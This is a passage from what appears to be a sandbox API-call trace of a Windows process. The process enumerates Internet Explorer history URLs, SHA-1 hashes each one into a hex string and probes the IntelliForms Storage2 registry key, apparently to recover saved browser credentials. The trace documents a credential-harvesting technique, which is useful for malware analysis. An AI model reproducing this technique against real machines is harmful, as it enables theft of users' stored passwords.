lpString1="A983A1F540B65982FE34875D7110D7DE20") returned="A983A1F540B65982FE34875D7110D7DE20" [0097.101] LocalFree (hMem=0x2815a80) returned 0x0 [0097.101] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="82") returned 2 [0097.101] lstrlenW (lpString="A983A1F540B65982FE34875D7110D7DE20") returned 34 [0097.101] lstrlenW (lpString="82") returned 2 [0097.101] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.101] lstrcpyW (in: lpString1=0x28e7910, lpString2="A983A1F540B65982FE34875D7110D7DE20" | out: lpString1="A983A1F540B65982FE34875D7110D7DE20") returned="A983A1F540B65982FE34875D7110D7DE20" [0097.101] lstrcatW (in: lpString1="A983A1F540B65982FE34875D7110D7DE20", lpString2="82" | out: lpString1="A983A1F540B65982FE34875D7110D7DE2082") returned="A983A1F540B65982FE34875D7110D7DE2082" [0097.101] LocalFree (hMem=0x2815670) returned 0x0 [0097.101] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="66") returned 2 [0097.101] lstrlenW (lpString="A983A1F540B65982FE34875D7110D7DE2082") returned 36 [0097.101] lstrlenW (lpString="66") returned 2 [0097.101] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.101] lstrcpyW (in: lpString1=0x28e7670, lpString2="A983A1F540B65982FE34875D7110D7DE2082" | out: lpString1="A983A1F540B65982FE34875D7110D7DE2082") returned="A983A1F540B65982FE34875D7110D7DE2082" [0097.101] lstrcatW (in: lpString1="A983A1F540B65982FE34875D7110D7DE2082", lpString2="66" | out: lpString1="A983A1F540B65982FE34875D7110D7DE208266") returned="A983A1F540B65982FE34875D7110D7DE208266" [0097.101] LocalFree (hMem=0x28e7910) returned 0x0 [0097.101] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3C") returned 2 [0097.101] lstrlenW (lpString="A983A1F540B65982FE34875D7110D7DE208266") returned 38 [0097.101] lstrlenW (lpString="3C") returned 2 [0097.101] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.102] lstrcpyW (in: lpString1=0x28e7910, lpString2="A983A1F540B65982FE34875D7110D7DE208266" | out: lpString1="A983A1F540B65982FE34875D7110D7DE208266") returned="A983A1F540B65982FE34875D7110D7DE208266" [0097.102] lstrcatW (in: lpString1="A983A1F540B65982FE34875D7110D7DE208266", lpString2="3C" | out: lpString1="A983A1F540B65982FE34875D7110D7DE2082663C") returned="A983A1F540B65982FE34875D7110D7DE2082663C" [0097.102] LocalFree (hMem=0x28e7670) returned 0x0 [0097.102] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="23") returned 2 [0097.102] lstrlenW (lpString="A983A1F540B65982FE34875D7110D7DE2082663C") returned 40 [0097.102] lstrlenW (lpString="23") returned 2 [0097.102] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.102] lstrcpyW (in: lpString1=0x28e7670, lpString2="A983A1F540B65982FE34875D7110D7DE2082663C" | out: lpString1="A983A1F540B65982FE34875D7110D7DE2082663C") returned="A983A1F540B65982FE34875D7110D7DE2082663C" [0097.102] lstrcatW (in: lpString1="A983A1F540B65982FE34875D7110D7DE2082663C", lpString2="23" | out: lpString1="A983A1F540B65982FE34875D7110D7DE2082663C23") returned="A983A1F540B65982FE34875D7110D7DE2082663C23" [0097.102] LocalFree (hMem=0x28e7910) returned 0x0 [0097.102] CryptDestroyHash (hHash=0x4469e70) returned 1 [0097.102] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.102] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.102] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.102] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.102] LocalFree (hMem=0x28e7670) returned 0x0 [0097.102] CoTaskMemFree (pv=0x447be70) [0097.102] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.102] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/56Gkydp.pps", lpSrch="?") returned 0x0 [0097.102] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.103] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.103] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/56Gkydp.pps") returned 61 [0097.103] CryptHashData (hHash=0x4469e70, pbData=0x7187650, dwDataLen=0x7c, dwFlags=0x0) returned 1 [0097.103] CryptGetHashParam (in: hHash=0x4469e70, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.103] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EE") returned 2 [0097.103] lstrlenW (lpString="") returned 0 [0097.103] lstrlenW (lpString="EE") returned 2 [0097.103] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x71860f0 [0097.103] lstrcpyW (in: lpString1=0x71860f0, lpString2="" | out: lpString1="") returned="" [0097.103] lstrcatW (in: lpString1="", lpString2="EE" | out: lpString1="EE") returned="EE" [0097.103] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6D") returned 2 [0097.103] lstrlenW (lpString="EE") returned 2 [0097.103] lstrlenW (lpString="6D") returned 2 [0097.103] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c9020 [0097.103] lstrcpyW (in: lpString1=0x28c9020, lpString2="EE" | out: lpString1="EE") returned="EE" [0097.103] lstrcatW (in: lpString1="EE", lpString2="6D" | out: lpString1="EE6D") returned="EE6D" [0097.103] LocalFree (hMem=0x71860f0) returned 0x0 [0097.103] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="42") returned 2 [0097.103] lstrlenW (lpString="EE6D") returned 4 [0097.103] lstrlenW (lpString="42") returned 2 [0097.103] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8e40 [0097.103] lstrcpyW (in: lpString1=0x28c8e40, lpString2="EE6D" | out: lpString1="EE6D") returned="EE6D" [0097.103] lstrcatW (in: lpString1="EE6D", lpString2="42" | out: lpString1="EE6D42") returned="EE6D42" [0097.103] LocalFree (hMem=0x28c9020) returned 0x0 [0097.103] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0097.103] lstrlenW (lpString="EE6D42") returned 6 [0097.104] lstrlenW (lpString="9D") returned 2 [0097.104] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c9020 [0097.104] lstrcpyW (in: lpString1=0x28c9020, lpString2="EE6D42" | out: lpString1="EE6D42") returned="EE6D42" [0097.104] lstrcatW (in: lpString1="EE6D42", lpString2="9D" | out: lpString1="EE6D429D") returned="EE6D429D" [0097.104] LocalFree (hMem=0x28c8e40) returned 0x0 [0097.104] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E9") returned 2 [0097.104] lstrlenW (lpString="EE6D429D") returned 8 [0097.104] lstrlenW (lpString="E9") returned 2 [0097.104] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8e40 [0097.104] lstrcpyW (in: lpString1=0x28c8e40, lpString2="EE6D429D" | out: lpString1="EE6D429D") returned="EE6D429D" [0097.104] lstrcatW (in: lpString1="EE6D429D", lpString2="E9" | out: lpString1="EE6D429DE9") returned="EE6D429DE9" [0097.104] LocalFree (hMem=0x28c9020) returned 0x0 [0097.104] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CB") returned 2 [0097.104] lstrlenW (lpString="EE6D429DE9") returned 10 [0097.104] lstrlenW (lpString="CB") returned 2 [0097.104] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0097.104] lstrcpyW (in: lpString1=0x71cfb40, lpString2="EE6D429DE9" | out: lpString1="EE6D429DE9") returned="EE6D429DE9" [0097.104] lstrcatW (in: lpString1="EE6D429DE9", lpString2="CB" | out: lpString1="EE6D429DE9CB") returned="EE6D429DE9CB" [0097.104] LocalFree (hMem=0x28c8e40) returned 0x0 [0097.104] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EA") returned 2 [0097.104] lstrlenW (lpString="EE6D429DE9CB") returned 12 [0097.104] lstrlenW (lpString="EA") returned 2 [0097.104] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0097.104] lstrcpyW (in: lpString1=0x71cf460, lpString2="EE6D429DE9CB" | out: lpString1="EE6D429DE9CB") returned="EE6D429DE9CB" [0097.104] lstrcatW (in: lpString1="EE6D429DE9CB", lpString2="EA" | out: lpString1="EE6D429DE9CBEA") returned="EE6D429DE9CBEA" [0097.104] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.104] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1A") returned 2 [0097.104] lstrlenW (lpString="EE6D429DE9CBEA") returned 14 [0097.104] lstrlenW (lpString="1A") returned 2 [0097.104] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0097.104] lstrcpyW (in: lpString1=0x71cfb40, lpString2="EE6D429DE9CBEA" | out: lpString1="EE6D429DE9CBEA") returned="EE6D429DE9CBEA" [0097.104] lstrcatW (in: lpString1="EE6D429DE9CBEA", lpString2="1A" | out: lpString1="EE6D429DE9CBEA1A") returned="EE6D429DE9CBEA1A" [0097.104] LocalFree (hMem=0x71cf460) returned 0x0 [0097.104] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B1") returned 2 [0097.104] lstrlenW (lpString="EE6D429DE9CBEA1A") returned 16 [0097.104] lstrlenW (lpString="B1") returned 2 [0097.104] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0097.104] lstrcpyW (in: lpString1=0x71cf460, lpString2="EE6D429DE9CBEA1A" | out: lpString1="EE6D429DE9CBEA1A") returned="EE6D429DE9CBEA1A" [0097.105] lstrcatW (in: lpString1="EE6D429DE9CBEA1A", lpString2="B1" | out: lpString1="EE6D429DE9CBEA1AB1") returned="EE6D429DE9CBEA1AB1" [0097.105] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.105] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="85") returned 2 [0097.105] lstrlenW (lpString="EE6D429DE9CBEA1AB1") returned 18 [0097.105] lstrlenW (lpString="85") returned 2 [0097.105] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.105] lstrcpyW (in: lpString1=0x72912f0, lpString2="EE6D429DE9CBEA1AB1" | out: lpString1="EE6D429DE9CBEA1AB1") returned="EE6D429DE9CBEA1AB1" [0097.105] lstrcatW (in: lpString1="EE6D429DE9CBEA1AB1", lpString2="85" | out: lpString1="EE6D429DE9CBEA1AB185") returned="EE6D429DE9CBEA1AB185" [0097.105] LocalFree (hMem=0x71cf460) returned 0x0 [0097.105] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FA") returned 2 [0097.105] lstrlenW (lpString="EE6D429DE9CBEA1AB185") returned 20 [0097.105] lstrlenW (lpString="FA") returned 2 [0097.105] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.105] lstrcpyW (in: lpString1=0x7290b70, lpString2="EE6D429DE9CBEA1AB185" | out: lpString1="EE6D429DE9CBEA1AB185") returned="EE6D429DE9CBEA1AB185" [0097.105] lstrcatW (in: lpString1="EE6D429DE9CBEA1AB185", lpString2="FA" | out: lpString1="EE6D429DE9CBEA1AB185FA") returned="EE6D429DE9CBEA1AB185FA" [0097.105] LocalFree (hMem=0x72912f0) returned 0x0 [0097.105] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0E") returned 2 [0097.105] lstrlenW (lpString="EE6D429DE9CBEA1AB185FA") returned 22 [0097.105] lstrlenW (lpString="0E") returned 2 [0097.105] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.105] lstrcpyW (in: lpString1=0x72912f0, lpString2="EE6D429DE9CBEA1AB185FA" | out: lpString1="EE6D429DE9CBEA1AB185FA") returned="EE6D429DE9CBEA1AB185FA" [0097.105] lstrcatW (in: lpString1="EE6D429DE9CBEA1AB185FA", lpString2="0E" | out: lpString1="EE6D429DE9CBEA1AB185FA0E") returned="EE6D429DE9CBEA1AB185FA0E" [0097.105] LocalFree (hMem=0x7290b70) returned 0x0 [0097.105] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9E") returned 2 [0097.105] lstrlenW (lpString="EE6D429DE9CBEA1AB185FA0E") returned 24 [0097.105] lstrlenW (lpString="9E") returned 2 [0097.105] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.105] lstrcpyW (in: lpString1=0x7290b70, lpString2="EE6D429DE9CBEA1AB185FA0E" | out: lpString1="EE6D429DE9CBEA1AB185FA0E") returned="EE6D429DE9CBEA1AB185FA0E" [0097.105] lstrcatW (in: lpString1="EE6D429DE9CBEA1AB185FA0E", lpString2="9E" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9E") returned="EE6D429DE9CBEA1AB185FA0E9E" [0097.105] LocalFree (hMem=0x72912f0) returned 0x0 [0097.105] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0097.105] lstrlenW (lpString="EE6D429DE9CBEA1AB185FA0E9E") returned 26 [0097.105] lstrlenW (lpString="FD") returned 2 [0097.105] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.105] lstrcpyW (in: lpString1=0x2815670, lpString2="EE6D429DE9CBEA1AB185FA0E9E" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9E") returned="EE6D429DE9CBEA1AB185FA0E9E" [0097.105] lstrcatW (in: lpString1="EE6D429DE9CBEA1AB185FA0E9E", lpString2="FD" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFD") returned="EE6D429DE9CBEA1AB185FA0E9EFD" [0097.105] LocalFree (hMem=0x7290b70) returned 0x0 [0097.106] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E2") returned 2 [0097.106] lstrlenW (lpString="EE6D429DE9CBEA1AB185FA0E9EFD") returned 28 [0097.106] lstrlenW (lpString="E2") returned 2 [0097.106] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.106] lstrcpyW (in: lpString1=0x2815a80, lpString2="EE6D429DE9CBEA1AB185FA0E9EFD" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFD") returned="EE6D429DE9CBEA1AB185FA0E9EFD" [0097.106] lstrcatW (in: lpString1="EE6D429DE9CBEA1AB185FA0E9EFD", lpString2="E2" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE2") returned="EE6D429DE9CBEA1AB185FA0E9EFDE2" [0097.106] LocalFree (hMem=0x2815670) returned 0x0 [0097.106] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6F") returned 2 [0097.106] lstrlenW (lpString="EE6D429DE9CBEA1AB185FA0E9EFDE2") returned 30 [0097.106] lstrlenW (lpString="6F") returned 2 [0097.106] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.106] lstrcpyW (in: lpString1=0x2815670, lpString2="EE6D429DE9CBEA1AB185FA0E9EFDE2" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE2") returned="EE6D429DE9CBEA1AB185FA0E9EFDE2" [0097.106] lstrcatW (in: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE2", lpString2="6F" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26F") returned="EE6D429DE9CBEA1AB185FA0E9EFDE26F" [0097.106] LocalFree (hMem=0x2815a80) returned 0x0 [0097.106] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A5") returned 2 [0097.106] lstrlenW (lpString="EE6D429DE9CBEA1AB185FA0E9EFDE26F") returned 32 [0097.106] lstrlenW (lpString="A5") returned 2 [0097.106] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.106] lstrcpyW (in: lpString1=0x2815a80, lpString2="EE6D429DE9CBEA1AB185FA0E9EFDE26F" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26F") returned="EE6D429DE9CBEA1AB185FA0E9EFDE26F" [0097.106] lstrcatW (in: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26F", lpString2="A5" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5") returned="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5" [0097.106] LocalFree (hMem=0x2815670) returned 0x0 [0097.106] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="48") returned 2 [0097.106] lstrlenW (lpString="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5") returned 34 [0097.106] lstrlenW (lpString="48") returned 2 [0097.106] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.106] lstrcpyW (in: lpString1=0x28e7670, lpString2="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5") returned="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5" [0097.106] lstrcatW (in: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5", lpString2="48" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26FA548") returned="EE6D429DE9CBEA1AB185FA0E9EFDE26FA548" [0097.106] LocalFree (hMem=0x2815a80) returned 0x0 [0097.106] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="66") returned 2 [0097.106] lstrlenW (lpString="EE6D429DE9CBEA1AB185FA0E9EFDE26FA548") returned 36 [0097.106] lstrlenW (lpString="66") returned 2 [0097.106] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.106] lstrcpyW (in: lpString1=0x28e7910, lpString2="EE6D429DE9CBEA1AB185FA0E9EFDE26FA548" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26FA548") returned="EE6D429DE9CBEA1AB185FA0E9EFDE26FA548" [0097.106] lstrcatW (in: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26FA548", lpString2="66" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26FA54866") returned="EE6D429DE9CBEA1AB185FA0E9EFDE26FA54866" [0097.106] LocalFree (hMem=0x28e7670) returned 0x0 [0097.106] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="69") returned 2 [0097.106] lstrlenW (lpString="EE6D429DE9CBEA1AB185FA0E9EFDE26FA54866") returned 38 [0097.106] lstrlenW (lpString="69") returned 2 [0097.107] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.107] lstrcpyW (in: lpString1=0x28e7670, lpString2="EE6D429DE9CBEA1AB185FA0E9EFDE26FA54866" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26FA54866") returned="EE6D429DE9CBEA1AB185FA0E9EFDE26FA54866" [0097.107] lstrcatW (in: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26FA54866", lpString2="69" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5486669") returned="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5486669" [0097.107] LocalFree (hMem=0x28e7910) returned 0x0 [0097.107] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D8") returned 2 [0097.107] lstrlenW (lpString="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5486669") returned 40 [0097.107] lstrlenW (lpString="D8") returned 2 [0097.107] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.107] lstrcpyW (in: lpString1=0x28e7910, lpString2="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5486669" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5486669") returned="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5486669" [0097.107] lstrcatW (in: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5486669", lpString2="D8" | out: lpString1="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5486669D8") returned="EE6D429DE9CBEA1AB185FA0E9EFDE26FA5486669D8" [0097.107] LocalFree (hMem=0x28e7670) returned 0x0 [0097.107] CryptDestroyHash (hHash=0x4469e70) returned 1 [0097.107] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.107] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.107] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.107] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.107] LocalFree (hMem=0x28e7910) returned 0x0 [0097.107] CoTaskMemFree (pv=0x7187650) [0097.107] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.107] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Hof4UNjCwmniuVp7kzhw.csv", lpSrch="?") returned 0x0 [0097.107] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.108] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.108] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Hof4UNjCwmniuVp7kzhw.csv") returned 74 [0097.108] CryptHashData (hHash=0x4469e70, pbData=0x28c8f80, dwDataLen=0x96, dwFlags=0x0) returned 1 [0097.108] CryptGetHashParam (in: hHash=0x4469e70, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.108] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FB") returned 2 [0097.108] lstrlenW (lpString="") returned 0 [0097.108] lstrlenW (lpString="FB") returned 2 [0097.108] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7187650 [0097.108] lstrcpyW (in: lpString1=0x7187650, lpString2="" | out: lpString1="") returned="" [0097.108] lstrcatW (in: lpString1="", lpString2="FB" | out: lpString1="FB") returned="FB" [0097.108] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="91") returned 2 [0097.108] lstrlenW (lpString="FB") returned 2 [0097.108] lstrlenW (lpString="91") returned 2 [0097.108] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca4c0 [0097.108] lstrcpyW (in: lpString1=0x28ca4c0, lpString2="FB" | out: lpString1="FB") returned="FB" [0097.108] lstrcatW (in: lpString1="FB", lpString2="91" | out: lpString1="FB91") returned="FB91" [0097.108] LocalFree (hMem=0x7187650) returned 0x0 [0097.108] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="06") returned 2 [0097.108] lstrlenW (lpString="FB91") returned 4 [0097.108] lstrlenW (lpString="06") returned 2 [0097.108] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8ee0 [0097.108] lstrcpyW (in: lpString1=0x28c8ee0, lpString2="FB91" | out: lpString1="FB91") returned="FB91" [0097.108] lstrcatW (in: lpString1="FB91", lpString2="06" | out: lpString1="FB9106") returned="FB9106" [0097.108] LocalFree (hMem=0x28ca4c0) returned 0x0 [0097.108] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BD") returned 2 [0097.108] lstrlenW (lpString="FB9106") returned 6 [0097.108] lstrlenW (lpString="BD") returned 2 [0097.109] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca4c0 [0097.109] lstrcpyW (in: lpString1=0x28ca4c0, lpString2="FB9106" | out: lpString1="FB9106") returned="FB9106" [0097.109] lstrcatW (in: lpString1="FB9106", lpString2="BD" | out: lpString1="FB9106BD") returned="FB9106BD" [0097.109] LocalFree (hMem=0x28c8ee0) returned 0x0 [0097.109] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="95") returned 2 [0097.109] lstrlenW (lpString="FB9106BD") returned 8 [0097.109] lstrlenW (lpString="95") returned 2 [0097.109] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8ee0 [0097.109] lstrcpyW (in: lpString1=0x28c8ee0, lpString2="FB9106BD" | out: lpString1="FB9106BD") returned="FB9106BD" [0097.109] lstrcatW (in: lpString1="FB9106BD", lpString2="95" | out: lpString1="FB9106BD95") returned="FB9106BD95" [0097.109] LocalFree (hMem=0x28ca4c0) returned 0x0 [0097.109] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A2") returned 2 [0097.109] lstrlenW (lpString="FB9106BD95") returned 10 [0097.109] lstrlenW (lpString="A2") returned 2 [0097.109] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0097.109] lstrcpyW (in: lpString1=0x71cf460, lpString2="FB9106BD95" | out: lpString1="FB9106BD95") returned="FB9106BD95" [0097.109] lstrcatW (in: lpString1="FB9106BD95", lpString2="A2" | out: lpString1="FB9106BD95A2") returned="FB9106BD95A2" [0097.109] LocalFree (hMem=0x28c8ee0) returned 0x0 [0097.109] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DC") returned 2 [0097.109] lstrlenW (lpString="FB9106BD95A2") returned 12 [0097.109] lstrlenW (lpString="DC") returned 2 [0097.109] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0097.109] lstrcpyW (in: lpString1=0x71cfb40, lpString2="FB9106BD95A2" | out: lpString1="FB9106BD95A2") returned="FB9106BD95A2" [0097.109] lstrcatW (in: lpString1="FB9106BD95A2", lpString2="DC" | out: lpString1="FB9106BD95A2DC") returned="FB9106BD95A2DC" [0097.109] LocalFree (hMem=0x71cf460) returned 0x0 [0097.109] 